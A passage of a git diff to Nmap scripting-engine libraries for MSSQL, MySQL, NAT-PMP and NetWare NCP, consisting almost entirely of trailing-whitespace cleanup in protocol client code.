local queryPacket = QueryPacket:new() local status, result, data, token, colinfo, rows local pos = 1 - + if ( nil == self.stream ) then return false, "Not connected to server" end - - queryPacket:SetQuery( query ) + + queryPacket:SetQuery( query ) status, result = self.stream:Send( queryPacket:ToString() ) if ( not(status) ) then return false, result @@ -2761,11 +2761,11 @@ Helper = -- Iterate over tokens until we get to a rowtag while( pos < data:len() ) do local rowtag = select(2, bin.unpack("C", data, pos)) - + if ( rowtag == TokenType.Row ) then break end - + pos, token = Token.ParseToken( data, pos ) if ( -1 == pos ) then return false, token @@ -2779,7 +2779,7 @@ Helper = rows = {} - + while(true) do local rowtag pos, rowtag = bin.unpack("C", data, pos ) @@ -2790,10 +2790,10 @@ Helper = if ( rowtag == TokenType.Row and colinfo and #colinfo > 0 ) then local columns = {} - + for i=1, #colinfo do local val - + if ( ColumnData.Parse[colinfo[i].type] ) then if not ( colinfo[i].type == 106 or colinfo[i].type == 108) then pos, val = ColumnData.Parse[colinfo[i].type](data, pos) @@ -2813,14 +2813,14 @@ Helper = table.insert(rows, columns) end end - + result = {} result.rows = rows result.colinfo = colinfo - + return true, result end, - + --- Attempts to connect to a SQL Server instance listening on a TCP port in -- order to determine the version of the SSNetLib DLL, which is an -- authoritative version number for the SQL Server instance itself. @@ -2829,29 +2829,29 @@ Helper = -- @return status true on success, false on failure -- @return versionInfo an instance of mssql.SqlServerVersionInfo, or nil GetInstanceVersion = function( instanceInfo ) - + if ( not instanceInfo.host or not (instanceInfo:HasNetworkProtocols()) ) then return false, nil end - + local status, response, version local tdsStream = TDSStream:new() status, response = tdsStream:ConnectEx( instanceInfo ) - + if ( not status ) then stdnse.print_debug( 2, "%s: Connection to %s failed: %s", "MSSQL", instanceInfo:GetName(), response or "" ) return false, "Connect failed" end - + local preLoginRequest = PreLoginPacket:new() preLoginRequest:SetInstanceName( instanceInfo.instanceName ) - + tdsStream:SetTimeout( 5000 ) tdsStream:Send( preLoginRequest:ToBytes() ) - + -- read in any response we might get status, response = tdsStream:Receive() tdsStream:Disconnect() - + if status then local preLoginResponse status, preLoginResponse = PreLoginPacket.FromBytes( response ) @@ -2866,10 +2866,10 @@ Helper = stdnse.print_debug( 2, "%s: Receive for %s failed: %s", "MSSQL", instanceInfo:GetName(), response or "" ) return false, "Receive failed" end - + return status, version end, - + --- Gets a table containing SqlServerInstanceInfo objects for the instances -- that should be run against, based on the script-args (e.g. mssql.instance) -- @@ -2883,7 +2883,7 @@ Helper = if ( port ) then local status = true local instance = Helper.GetDiscoveredInstances( host, port ) - + if ( not instance ) then status, instance = Helper.DiscoverByTcp( host, port ) end @@ -2896,29 +2896,29 @@ Helper = local targetInstanceNames = stdnse.get_script_args( "mssql.instance-name" ) local targetInstancePorts = stdnse.get_script_args( "mssql.instance-port" ) local targetAllInstances = stdnse.get_script_args( "mssql.instance-all" ) - + if ( targetInstanceNames and targetInstancePorts ) then return false, "Connections can be made either by instance name or port." end - + if ( targetAllInstances and ( targetInstanceNames or targetInstancePorts ) ) then return false, "All instances cannot be specified together with an instance name or port." end - + if ( not (targetInstanceNames or targetInstancePorts or targetAllInstances) ) then return false, "No instance(s) specified." end - + if ( not Helper.WasDiscoveryPerformed( host ) ) then stdnse.print_debug( 2, "%s: Discovery has not been performed prior to GetTargetInstances() call. Performing discovery now.", "MSSQL" ) Helper.Discover( host ) end - + local instanceList = Helper.GetDiscoveredInstances( host ) if ( not instanceList ) then return false, "No instances found on target host" end - + local targetInstances = {} if ( targetAllInstances ) then targetInstances = instanceList @@ -2935,8 +2935,8 @@ Helper = end end targetInstanceNames = temp - - -- Do the same for the target ports + + -- Do the same for the target ports temp = {} if ( targetInstancePorts ) then if ( type( targetInstancePorts ) == "string" ) then @@ -2948,7 +2948,7 @@ Helper = end end targetInstancePorts = temp - + for _, instance in ipairs( instanceList ) do if ( instance.instanceName and targetInstanceNames[ string.upper( instance.instanceName ) ] ) then table.insert( targetInstances, instance ) @@ -2957,7 +2957,7 @@ Helper = end end end - + if ( #targetInstances > 0 ) then return true, targetInstances else @@ -2965,7 +2965,7 @@ Helper = end end end, - + --- Queries the SQL Browser service for the DAC port of the specified instance -- The DAC (Dedicated Admin Connection) port allows DBA's to connect to -- the database when normal connection attempts fail, for example, when @@ -2981,12 +2981,12 @@ Helper = if ( not(socket:connect(host, 1434, "udp")) ) then return false, "Failed to connect to sqlbrowser service" end - + if ( not(socket:send(bin.pack("Hz", "0F01", instanceName))) ) then socket:close() return false, "Failed to send request to sqlbrowser service" end - + local status, data = socket:receive_buf(match.numbytes(6), true) if ( not(status) ) then socket:close() @@ -2999,7 +2999,7 @@ Helper = end return select(2, bin.unpack("mssql.instance -- script argument. However, if a previous script has failed to find any @@ -3020,8 +3020,8 @@ Helper = end end end, - - + + --- Returns a portrule for standard SQL Server scripts, which will run return -- true if BOTH of the following conditions are met: -- * The port has been identified as "ms-sql-s" @@ -3030,7 +3030,7 @@ Helper = -- @return A portrule function (use as portrule = mssql.GetPortrule_Standard()) GetPortrule_Standard = function() return function( host, port ) - return ( shortport.service( "ms-sql-s" )(host, port) and + return ( shortport.service( "ms-sql-s" )(host, port) and stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) == nil) end end, @@ -3038,7 +3038,7 @@ Helper = Auth = { - + --- Encrypts a password using the TDS7 *ultra secure* XOR encryption -- -- @param password string containing the password to encrypt @@ -3046,7 +3046,7 @@ Auth = { TDS7CryptPass = function(password) local xormask = 0x5a5a local result = "" - + for i=1, password:len() do local c = bit.bxor( string.byte( password:sub( i, i ) ), xormask ) local m1= bit.band( bit.rshift( c, 4 ), 0x0F0F ) @@ -3055,7 +3055,7 @@ Auth = { end return result end, - + LmResponse = function( password, nonce ) if ( not(HAVE_SSL) ) then @@ -3094,23 +3094,23 @@ Auth = { result = openssl.encrypt("DES", key1, nil, nonce) .. openssl.encrypt("DES", key2, nil, nonce) .. openssl.encrypt("DES", key3, nil, nonce) return result end, - + NtlmResponse = function( password, nonce ) - local lm_response, ntlm_response, mac_key = smbauth.get_password_response(nil, - nil, - nil, - password, - nil, - "v1", - nonce, + local lm_response, ntlm_response, mac_key = smbauth.get_password_response(nil, + nil, + nil, + password, + nil, + "v1", + nonce, false ) return ntlm_response - end, + end, } --- "static" Utility class containing mostly conversion functions -Util = +Util = { --- Converts a string to a wide string -- @@ -3120,8 +3120,8 @@ Util = ToWideChar = function( str ) return str:gsub("(.)", "%1" .. string.char(0x00) ) end, - - + + --- Concerts a wide string to string -- -- @param wstr containing the wide string to convert @@ -3136,7 +3136,7 @@ Util = end return str end, - + --- Takes a table as returned by Query and does some fancy formatting -- better suitable for stdnse.output_result -- @@ -3150,7 +3150,7 @@ Util = if ( not(tbl) ) then return end - + if ( with_headers and tbl.rows and #tbl.rows > 0 ) then local headers for k, v in pairs( tbl.colinfo ) do @@ -3161,7 +3161,7 @@ Util = headers = headers:gsub("[^%s]", "=") table.insert( new_tbl, headers ) end - + for _, v in ipairs( tbl.rows ) do table.insert( new_tbl, stdnse.strjoin("\t", v) ) end diff --git a/nselib/mysql.lua b/nselib/mysql.lua index 1aa73bcfc..94b9ba650 100644 --- a/nselib/mysql.lua +++ b/nselib/mysql.lua @@ -17,7 +17,7 @@ _ENV = stdnse.module("mysql", stdnse.seeall) -- Version 0.3 -- --- Created 01/15/2010 - v0.1 - created by Patrik Karlsson +-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson -- Revised 01/23/2010 - v0.2 - added query support, cleanup, documentation -- Revised 08/24/2010 - v0.3 - added error handling for recieveGreeting -- fixed a number of incorrect receives and changed @@ -27,7 +27,7 @@ local tab = require('tab') local HAVE_SSL, openssl = pcall(require,'openssl') -Capabilities = +Capabilities = { LongPassword = 0x1, FoundRows = 0x2, @@ -58,7 +58,7 @@ Charset = latin1_COLLATE_latin1_swedish_ci = 0x8 } -ServerStatus = +ServerStatus = { InTransaction = 0x1, AutoCommit = 0x2, @@ -72,7 +72,7 @@ ServerStatus = NoBackslashEscapes = 0x200 } -Command = +Command = { Query = 3 } @@ -86,14 +86,14 @@ local HEADER_SIZE = 4 -- @param data string of raw data -- @return response table containing the fields len and packetno local function decodeHeader( data, pos ) - + local response = {} local pos, tmp = pos or 1, 0 - + pos, tmp = bin.unpack( "I", data, pos ) response.len = bit.band( tmp,255 ) response.number = bit.rshift( tmp, 24 ) - + return pos, response end @@ -106,21 +106,21 @@ end -- status or error message on failure (status == false) function receiveGreeting( socket ) - local catch = function() socket:close() stdnse.print_debug("receiveGreeting(): failed") end + local catch = function() socket:close() stdnse.print_debug("receiveGreeting(): failed") end local try = nmap.new_try(catch) local data = try( socket:receive_bytes(HEADER_SIZE) ) local pos, response, tmp, _ - - pos, response = decodeHeader( data, 1 ) + + pos, response = decodeHeader( data, 1 ) -- do we need to read the remainder if ( #data - HEADER_SIZE < response.len ) then local tmp = try( socket:receive_bytes( response.len - #data + HEADER_SIZE ) ) data = data .. tmp end - + local is_error - pos, is_error = bin.unpack( "C", data, pos ) + pos, is_error = bin.unpack( "C", data, pos ) if ( is_error == 0xff ) then pos, response.errorcode = bin.unpack( "S", data, pos ) @@ -128,7 +128,7 @@ function receiveGreeting( socket ) return false, response.errormsg end - + pos, response.proto = bin.unpack( "C", data, pos ) pos, response.version = bin.unpack( "z", data, pos ) pos, response.threadid = bin.unpack( "I", data, pos ) @@ -138,12 +138,12 @@ function receiveGreeting( socket ) pos, response.status = bin.unpack( "S", data, pos ) pos, _ = bin.unpack( "A13", data, pos ) pos, tmp = bin.unpack( "A12", data, pos ) - + response.salt = response.salt .. tmp response.errorcode = 0 - + return true, response - + end @@ -193,7 +193,7 @@ end -- @return response table or error message on failure function loginRequest( socket, params, username, password, salt ) - local catch = function() socket:close() stdnse.print_debug("loginRequest(): failed") end + local catch = function() socket:close() stdnse.print_debug("loginRequest(): failed") end local try = nmap.new_try(catch) local packetno = 1 local authversion = params.authversion or "post41" @@ -201,7 +201,7 @@ function loginRequest( socket, params, username, password, salt ) if not(HAVE_SSL) then return false, "No OpenSSL" - end + end if authversion ~= "post41" then return false, "Unsupported authentication version: " .. authversion @@ -214,70 +214,70 @@ function loginRequest( socket, params, username, password, salt ) clicap = clicap + Capabilities.InteractiveClient clicap = clicap + Capabilities.SupportsTransactions clicap = clicap + Capabilities.Support41Auth - + local extcapabilities = ExtCapabilities.SupportsMultipleStatments extcapabilities = extcapabilities + ExtCapabilities.SupportsMultipleResults - + local packet = bin.pack( "S", clicap ) packet = packet .. bin.pack( "S", extcapabilities ) packet = packet .. bin.pack( "I", MAXPACKET ) packet = packet .. bin.pack( "C", Charset.latin1_COLLATE_latin1_swedish_ci ) packet = packet .. bin.pack( "A", string.char(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) ) packet = packet .. bin.pack( "z", username ) - + if ( password ~= nil and password:len() > 0 ) then local hash = createLoginHash( password, salt ) packet = packet .. bin.pack( "A", string.char( 0x14 ) .. hash ) else packet = packet .. bin.pack( "C", 0 ) end - + local tmp = packet:len() + bit.lshift( packetno, 24 ) - + packet = bin.pack( "I", tmp ) .. packet - + try( socket:send(packet) ) packet = try( socket:receive_bytes(HEADER_SIZE) ) local pos, response = decodeHeader( packet ) - + -- do we need to read the remainder if ( #packet - HEADER_SIZE < response.len ) then local tmp = try( socket:receive_bytes( response.len - #packet + HEADER_SIZE ) ) packet = packet .. tmp end - + local is_error - - pos, is_error = bin.unpack( "C", packet, pos ) - + + pos, is_error = bin.unpack( "C", packet, pos ) + if is_error > 0 then pos, response.errorcode = bin.unpack( "S", packet, pos ) - + local has_sqlstate pos, has_sqlstate = bin.unpack( "C", packet, pos ) - + if has_sqlstate == 35 then pos, response.sqlstate = bin.unpack( "A5", packet, pos ) end - - pos, response.errormessage = bin.unpack( "z", packet, pos ) + + pos, response.errormessage = bin.unpack( "z", packet, pos ) return false, response.errormessage else response.errorcode = 0 pos, response.affectedrows = bin.unpack( "C", packet, pos ) pos, response.serverstatus = bin.unpack( "S", packet, pos ) - pos, response.warnings = bin.unpack( "S", packet, pos ) + pos, response.warnings = bin.unpack( "S", packet, pos ) end - + return true, response - + end --- Decodes a single column field -- -- http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Field_Packet --- +-- -- @param data string containing field packets -- @param pos number containing position from which to start decoding -- the position should point to the data in this buffer (ie. after the header) @@ -286,14 +286,14 @@ end -- origt_table, name, orig_name, -- length and type function decodeField( data, pos ) - + local header, len local def, _ local field = {} pos, len = bin.unpack( "C", data, pos ) pos, field.catalog = bin.unpack( "A" .. len, data, pos ) - + pos, len = bin.unpack( "C", data, pos ) pos, field.database = bin.unpack( "A" .. len, data, pos ) @@ -311,15 +311,15 @@ function decodeField( data, pos ) -- should be 0x0C pos, _ = bin.unpack( "C", data, pos ) - + -- charset, in my case 0x0800 pos, _ = bin.unpack( "S", data, pos ) pos, field.length = bin.unpack( "I", data, pos ) pos, field.type = bin.unpack( "A6", data, pos ) - + return pos, field - + end --- Decodes the result set header packet into it's sub components @@ -330,13 +330,13 @@ end -- @return table containing the following header, fields and data function decodeQueryResponse( socket ) - local catch = function() socket:close() stdnse.print_debug("decodeQueryResponse(): failed") end + local catch = function() socket:close() stdnse.print_debug("decodeQueryResponse(): failed") end local try = nmap.new_try(catch) local data, header, pos local rs, blocks = {}, {} local block_start, block_end local EOF_MARKER = 254 - + data = try( socket:receive_bytes(HEADER_SIZE) ) pos, header = decodeHeader( data, pos ) @@ -346,9 +346,9 @@ function decodeQueryResponse( socket ) if data:len() < header.len then data = data .. try( socket:receive_bytes( header.len - #data + HEADER_SIZE ) ) end - + rs.header = data:sub( 1, HEADER_SIZE + header.len ) - + -- abort on MySQL error if rs.header:sub(HEADER_SIZE + 1, HEADER_SIZE + 1) == string.char(0xFF) then -- is this a 4.0 or 4.1 error message @@ -360,29 +360,29 @@ function decodeQueryResponse( socket ) end pos = HEADER_SIZE + header.len + 1 - + -- Second, Let's attempt to read the "Field Packets" and "Row Data Packets" -- They're separated by an "EOF Packet" for i=1,2 do - + -- marks the start of our block block_start = pos - + while true do - + if data:len() - pos < HEADER_SIZE then - data = data .. try( socket:receive_bytes( HEADER_SIZE - ( data:len() - pos ) ) ) + data = data .. try( socket:receive_bytes( HEADER_SIZE - ( data:len() - pos ) ) ) end - + pos, header = decodeHeader( data, pos ) - + if data:len() - pos < header.len - 1 then data = data .. try( socket:receive_bytes( header.len - ( data:len() - pos ) ) ) end - + if header.len > 0 then - local _, b = bin.unpack("C", data, pos ) - + local _, b = bin.unpack("C", data, pos ) + -- Is this the EOF packet? if b == EOF_MARKER then -- we don't want the EOF Packet included @@ -397,15 +397,15 @@ function decodeQueryResponse( socket ) end blocks[i] = data:sub( block_start, block_end ) - + end rs.fields = blocks[1] rs.data = blocks[2] - + return true, rs - + end --- Decodes as field packet and returns a table of field tables @@ -415,23 +415,23 @@ end -- @param data string containing field packets -- @param count number containing the amount of fields to decode -- @return status boolean (true on success, false on failure) --- @return fields table containing field tables as returned by decodeField +-- @return fields table containing field tables as returned by decodeField -- or string containing error message if status is false function decodeFieldPackets( data, count ) - + local pos, header local field, fields = {}, {} - + if count < 1 then return false, "Field count was less than one, aborting" end - + for i=1, count do pos, header = decodeHeader( data, pos ) pos, field = decodeField( data, pos ) table.insert( fields, field ) end - + return true, fields end @@ -442,15 +442,15 @@ end -- @param data string containing the result set header packet -- @return number containing the amount of fields function decodeResultSetHeader( data ) - + local _, fields - + if data:len() ~= HEADER_SIZE + 1 then return false, "Result set header was incorrect" - end - + end + _, fields = bin.unpack( "C", data, HEADER_SIZE + 1 ) - + return true, fields end @@ -463,25 +463,25 @@ end -- @return status true on success, false on failure -- @return rows table containing row tables function decodeDataPackets( data, count ) - + local len, pos = 0, 1, 1 local header, row, rows = {}, {}, {} while pos < data:len() do row = {} pos, header = decodeHeader( data, pos ) - + for i=1, count do pos, len = bin.unpack("C", data, pos ) pos, row[i] = bin.unpack("A" .. len, data, pos) end - + table.insert( rows, row ) - + end - + return true, rows - + end --- Sends the query to the MySQL server and then attempts to decode the response @@ -492,13 +492,13 @@ end -- @return rows table containing row tabels as decoded by decodeDataPackets function sqlQuery( socket, query ) - local catch = function() socket:close() stdnse.print_debug("sqlQuery(): failed") end + local catch = function() socket:close() stdnse.print_debug("sqlQuery(): failed") end local try = nmap.new_try(catch) local packetno = 0 local querylen = query:len() + 1 local packet, packet_len, pos, header local status, fields, field_count, rows, rs - + packet = bin.pack("ICA", querylen, Command.Query, query ) -- @@ -509,18 +509,18 @@ function sqlQuery( socket, query ) -- (EOF Packet) marker: end of Field Packets -- (Row Data Packets) row contents -- (EOF Packet) marker: end of Data Packets - + try( socket:send(packet) ) - + -- -- Let's read all the data into a table -- This way we avoid the hustle with reading from the socket status, rs = decodeQueryResponse( socket ) - + if not status then return false, rs end - + status, field_count = decodeResultSetHeader(rs.header) if not status then @@ -528,7 +528,7 @@ function sqlQuery( socket, query ) end status, fields = decodeFieldPackets(rs.fields, field_count) - + if not status then return false, fields end @@ -538,8 +538,8 @@ function sqlQuery( socket, query ) if not status then return false, rows end - - return true, { cols = fields, rows = rows } + + return true, { cols = fields, rows = rows } end --- @@ -557,16 +557,16 @@ function formatResultset(rs, options) local restab = tab.new(#rs.cols) local colnames = {} - + if ( not(options.noheaders) ) then for _, col in ipairs(rs.cols) do table.insert(colnames, col.name) end tab.addrow(restab, table.unpack(colnames)) end - + for _, row in ipairs(rs.rows) do tab.addrow(restab, table.unpack(row)) end - + return tab.dump(restab) end diff --git a/nselib/natpmp.lua b/nselib/natpmp.lua index 9eb69bcf3..74540d902 100644 --- a/nselib/natpmp.lua +++ b/nselib/natpmp.lua @@ -2,7 +2,7 @@ -- This library implements the basics of NAT-PMP as described in the -- NAT Port Mapping Protocol (NAT-PMP) draft: -- o http://tools.ietf.org/html/draft-cheshire-nat-pmp-03 --- +-- -- -- @author "Patrik Karlsson " -- @@ -12,7 +12,7 @@ local nmap = require "nmap" local stdnse = require "stdnse" _ENV = stdnse.module("natpmp", stdnse.seeall) -local ResultCode = { +local ResultCode = { SUCCESS = 0, UNSUPPORTED_VERSION = 1, NOT_AUTHORIZED = 2, @@ -31,27 +31,27 @@ local ErrorMessage = { Request = { - + GetWANIP = { - + new = function(self) local o = { version = 0, op = 0 } setmetatable(o, self) self.__index = self return o end, - + __tostring = function(self) return bin.pack(">CC", self.version, self.op) end, - + }, - + MapPort = { - + new = function(self, pubport, privport, proto, lifetime) assert(proto == "udp" or proto == "tcp", "Unsupported protocol") - local o = { + local o = { version = 0, pubport = pubport, privport = privport, @@ -64,22 +64,22 @@ Request = { end, __tostring = function(self) - return bin.pack(">CCSSSI", - self.version, + return bin.pack(">CCSSSI", + self.version, (self.proto=="udp" and 1 or 2), 0, -- reserved self.privport, self.pubport, self.lifetime) end, - + } - + } Response = { - + GetWANIP = { - + new = function(self, data) local o = { data = data } setmetatable(o, self) @@ -93,24 +93,24 @@ Response = { if ( #self.data ~= 12 ) then return end - + local pos pos, self.version, self.op, self.rescode = bin.unpack("ISSI", self.data, pos) return true end, } - - + + } @@ -145,33 +145,33 @@ Response = { Helper = { - + new = function(self, host, port) local o = { host = host, port = port } setmetatable(o, self) self.__index = self return o end, - + exchPacket = function(self, data) local socket = nmap.new_socket("udp") socket:set_timeout(5000) - + local status = socket:sendto(self.host, self.port, data) if ( not(status) ) then socket:close() return false, "Failed to send request to device" end - + local response - status, response = socket:receive() + status, response = socket:receive() socket:close() if ( not(status) ) then return false, "Failed to receive response from router" end return true, response end, - + --- Gets the WAN ip of the router getWANIP = function(self) local packet = Request.GetWANIP:new() @@ -179,7 +179,7 @@ Helper = { if ( not(status) ) then return status, response end - + response = Response.GetWANIP:new(response) if ( not(response) ) then return false, "Failed to parse response from router" @@ -187,7 +187,7 @@ Helper = { return true, response end, - + --- Maps a public port to a private port -- @param pubport number containing the public external port to map -- @param privport number containing the private internal port to map @@ -199,7 +199,7 @@ Helper = { if ( not(status) ) then return status, response end - + response = Response.MapPort:new(response) if ( not(response) ) then return false, "Failed to parse response from router" @@ -207,15 +207,15 @@ Helper = { return true, response end, - + unmapPort = function(self, pubport, privport) return self:mapPort(pubport, privport, 0) end, - + unmapAllPorts = function(self) return self.mapPort(0, 0, 0) end, - + } return _ENV; diff --git a/nselib/ncp.lua b/nselib/ncp.lua index 2844d4911..06b938d17 100644 --- a/nselib/ncp.lua +++ b/nselib/ncp.lua @@ -24,7 +24,7 @@ -- * NCP -- - Contains the "native" NCP functions sending the actual request to the -- server. --- +-- -- * Socket -- - A buffered socket implementation -- @@ -85,13 +85,13 @@ NCPFunction = { NCPVerb = { Resolve = 1, - List = 5, + List = 5, Search = 6, } -- The NCP Packet Packet = { - + --- Creates a new instance of Packet -- @return o instance of Packet new = function(self) @@ -111,7 +111,7 @@ Packet = { --- Sets the NCP packet length -- @param n number containing the length setNCPLength = function(self, n) self.ncp_ip.length = n end, - + --- Gets the NCP packet length -- @return n number containing the NCP length getNCPLength = function(self) return self.ncp_ip.length end, @@ -119,59 +119,59 @@ Packet = { --- Sets the NCP packet type -- @param t number containing the NCP packet type setType = function(self, t) self.type = t end, - + --- Gets the NCP packet type -- @return type number containing the NCP packet type getType = function(self) return self.type end, - + --- Sets the NCP packet function -- @param t number containing the NCP function setFunc = function(self, f) self.func = f end, - + --- Gets the NCP packet function -- @return func number containing the NCP packet function getFunc = function(self) return self.func end, - + --- Sets the NCP sequence number -- @param seqno number containing the sequence number setSeqNo = function(self, n) self.seqno = n end, - + --- Sets the NCP connection number -- @param conn number containing the connection number setConnNo = function(self, n) self.conn = n end, - + --- Gets the NCP connection number -- @return conn number containing the connection number getConnNo = function(self) return self.conn end, - + --- Sets the NCP sub function -- @param subfunc number containing the subfunction setSubFunc = function(self, n) self.subfunc = n end, - + --- Gets the NCP sub function -- @return subfunc number containing the subfunction getSubFunc = function(self) return self.subfunc end, - + --- Gets the Sequence number -- @return seqno number containing the sequence number getSeqNo = function(self) return self.seqno end, - + --- Sets the packet length -- @param len number containing the packet length setLength = function(self, n) self.length = n end, - + --- Sets the packet data -- @param data string containing the packet data setData = function(self, data) self.data = data end, - + --- Gets the packet data -- @return data string containing the packet data getData = function(self) return self.data end, - + --- Sets the packet task -- @param task number containing the packet number setTask = function(self, task) self.task = task end, - + --- "Serializes" the packet to a string __tostring = function(self) local UNKNOWN = 0 @@ -183,15 +183,15 @@ Packet = { if ( self.length ) then data = data .. bin.pack(">S", self.length) end if ( self.subfunc ) then data = data .. bin.pack("C", self.subfunc) end if ( self.data ) then data = data .. bin.pack("A", self.data) end - + return data end, - + } -- Parses different responses into suitable tables ResponseParser = { - + --- Determines what parser to call based on the contents of the client -- request and server response. -- @param req instance of Packet containing the request to the server @@ -224,10 +224,10 @@ ResponseParser = { return false, "ResponseParser: Failed to parse response" end end - + return false, "ResponseParser: Failed to parse response" end, - + --- Decodes a GetFileServerInfo response -- @param resp string containing the response as received from the server -- @return status true on success, false on failure @@ -258,28 +258,28 @@ ResponseParser = { [NCPFunction.GetFileServerInfo] = function(resp) local data = resp:getData() local len = #data - + if ( len < 78 ) then return false, "Failed to decode GetFileServerInfo" end - + local result = {} local pos - pos, result.srvname, result.os_major, result.os_minor, + pos, result.srvname, result.os_major, result.os_minor, result.conns_supported, result.conns_inuse, result.vols_supported, result.os_rev, result.sft_support, result.tts_level, result.conns_max_use, result.acct_version, result.vap_version, result.qms_version, result.print_version, - result.virt_console_ver, result.sec_restrict_ver, - result.internet_bridge_ver, result.mixed_mode_path, + result.virt_console_ver, result.sec_restrict_ver, + result.internet_bridge_ver, result.mixed_mode_path, result.local_login_info, result.product_major, - result.product_minor, result.product_rev, result.os_lang_id, + result.product_minor, result.product_rev, result.os_lang_id, result.support_64_bit = bin.unpack(">A48CCSSSCCCSCCCCCCCCCSSSCC", data) - + return true, result end, - + --- Decodes a GetMountVolumeList response -- @param resp string containing the response as received from the server -- @return status true on success, false on failure @@ -290,7 +290,7 @@ ResponseParser = { [NCPFunction.GetMountVolumeList] = function(resp) local data = resp:getData() local len = #data - + local pos, items, next_vol_no = bin.unpack("CCISS len ) then return false, "EnumerateNetworkAddress packet too short" end - + result.addr = {} for i=1, items do local addr = {} @@ -362,8 +362,8 @@ ResponseParser = { end return true, result end, - - + + --- Decodes a Resolve response -- @param resp string containing the response as received from the server -- @return status true on success, false on failure @@ -373,28 +373,28 @@ ResponseParser = { Resolve = function(resp) local data = resp:getData() local len = #data - + if ( len < 12 ) then return false, "ResponseParser: NCP Resolve, packet too short" end - + local pos, frag_size, frag_handle, comp_code = bin.unpack("flags -- mod_time -- sub_count @@ -490,11 +490,11 @@ ResponseParser = { if ( iflags.Entry ) then pos, entry.flags, entry.sub_count = bin.unpack("IISCCSCC", self.header) - + if ( self.data ) then local len = #self.data - pos if ( ( #self.data - pos ) ~= ( self.length - 33 ) ) then @@ -594,7 +594,7 @@ Response = { end end end, - + --- Gets the sequence number -- @return seqno number getSeqNo = function(self) return self.seqno end, @@ -602,11 +602,11 @@ Response = { --- Gets the connection number -- @return conn number getConnNo = function(self) return self.conn end, - + --- Gets the data portion of the response -- @return data string getData = function(self) return self.data end, - + --- Gets the header portion of the response getHeader = function(self) return self.header end, @@ -615,9 +615,9 @@ Response = { hasErrors = function(self) return not( ( self.compl_code == Status.COMPLETION_OK ) and ( self.status_code == Status.CONNECTION_OK ) ) - + end, - + --- Creates a Response instance from the data read of the socket -- @param socket socket connected to server and ready to receive data -- @return Response containing a new Response instance @@ -627,26 +627,26 @@ Response = { local pos, sig, len = bin.unpack(">II", header) if ( len < 8 ) then return false, "NCP packet too short" end - + local data - + if ( 0 < len - 16 ) then status, data = socket:recv(len - 16) if ( not(status) ) then return false, "Failed to receive data" end end return true, Response:new(header, data) end, - + --- "Serializes" the Response instance to a string __tostring = function(self) return bin.pack("AA", self.header, self.data) end, - + } -- The NCP class NCP = { - + --- Creates a new NCP instance -- @param socket containing a socket connected to the NCP server -- @return o instance of NCP @@ -659,7 +659,7 @@ NCP = { o.conn = 0 return o end, - + --- Handles sending and receiving a NCP message -- @param p Packet containing the request to send to the server -- @return status true on success false on failure @@ -669,16 +669,16 @@ NCP = { Exch = function(self, p) local status, err = self:SendPacket(p) if ( not(status) ) then return status, err end - + local status, resp = Response.fromSocket(self.socket) if ( not(status) or resp:hasErrors() ) then return false, resp end self.seqno = resp:getSeqNo() self.conn = resp:getConnNo() - + return ResponseParser.parse(p, resp) end, - + --- Sends a packet to the server -- @param p Packet to be sent to the server -- @return status true on success, false on failure @@ -686,34 +686,34 @@ NCP = { SendPacket = function(self, p) if ( not(p:getSeqNo() ) ) then p:setSeqNo(self.seqno + 1) end if ( not(p:getConnNo() ) ) then p:setConnNo(self.conn) end - + if ( not(p:getNCPLength()) ) then local len = #(tostring(p)) p:setNCPLength(len) end - + local status, err = self.socket:send(tostring(p)) if ( not(status) ) then return status, "Failed to send data" end - + return true end, - + --- Creates a connection to the NCP server -- @return status true on success, false on failure CreateConnect = function(self) local p = Packet:new() p:setType(NCPType.CreateConnection) - + local resp = self:Exch( p ) return true end, - + --- Destroys a connection established with the NCP server -- @return status true on success, false on failure DestroyConnect = function(self) local p = Packet:new() p:setType(NCPType.DestroyConnection) - + local resp = self:Exch( p ) return true end, @@ -767,12 +767,12 @@ NCP = { -- p:setLength(5) -- p:setSubFunc(28) -- p:setTask(4) - -- + -- -- local data = bin.pack("tag and id - -- @return error message (if status is false) + -- @return error message (if status is false) ResolveName = function(self, name) local p = Packet:new() p:setType(NCPType.ServiceRequest) p:setFunc(NCPFunction.SendFragmentedRequest) p:setSubFunc(2) p:setNCPReplyBuf(4108) - + local pad = (4 - ( #name % 4 ) ) name = Util.ZeroPad(name, #name + pad) - + local w_name = Util.ToWideChar(name) local frag_handle, frag_size = 0xffffffff, 64176 local msg_size, unknown, proto_flags, nds_verb = 44 + #w_name, 0, 0, 1 local nds_reply_buf, version, flags, scope = 4096, 1, 0x2062, 0 local unknown2 = 0x0e local ZERO = 0 - + local data = bin.pack("Resolve -- @param class string containing a class name (or * wildcard) @@ -886,7 +886,7 @@ NCP = { -- @return error string (if status is false) containing the error Search = function(self, base, class, name, options) assert( ( base and base.id ), "No base entry was specified") - + local class = class and class .. '\0' or '*\0' local name = name and name .. '\0' or '*\0' local w_name = Util.ToWideChar(name) @@ -898,7 +898,7 @@ NCP = { p:setSubFunc(2) p:setNCPReplyBuf(64520) p:setTask(5) - + local frag_handle, frag_size, msg_size = 0xffffffff, 64176, 98 local unknown, proto_flags, nds_verb, version, flags = 0, 0, 6, 3, 0 local nds_reply_buf = 64520 @@ -909,16 +909,16 @@ NCP = { local info_flags = 0x0000381d -- a bunch of unknowns local u2, u3, u4, u5, u6, u7, u8, u9 = 0, 0, 2, 2, 0, 0x10, 0, 0x11 - - local data = bin.pack("Resolve -- @return status true on success false on failure @@ -932,7 +932,7 @@ NCP = { p:setSubFunc(2) p:setNCPReplyBuf(4112) p:setTask(2) - + local frag_handle, frag_size = 0xffffffff, 64176 local msg_size, unknown, proto_flags, nds_verb = 40, 0, 0, 5 local nds_reply_buf, version, flags = 4100, 1, 0x0001 @@ -940,24 +940,24 @@ NCP = { local unknown2 = 0x0e local ZERO = 0 local info_flags = 0x0000381d - + local data = bin.pack("GetFileServerInfo @@ -1021,33 +1021,33 @@ Helper = { getServerInfo = function(self) local status, srv_info = self.ncp:GetFileServerInfo() if ( not(status) ) then return false, srv_info end - + local status, ping_info = self.ncp:Ping() if ( not(status) ) then return false, ping_info end - + local status, net_info = self.ncp:EnumerateNetworkAddress() if ( not(status) ) then return false, net_info end - + local status, mnt_list = self.ncp:GetMountVolumeList() if ( not(status) ) then return false, mnt_list end - + local output = {} 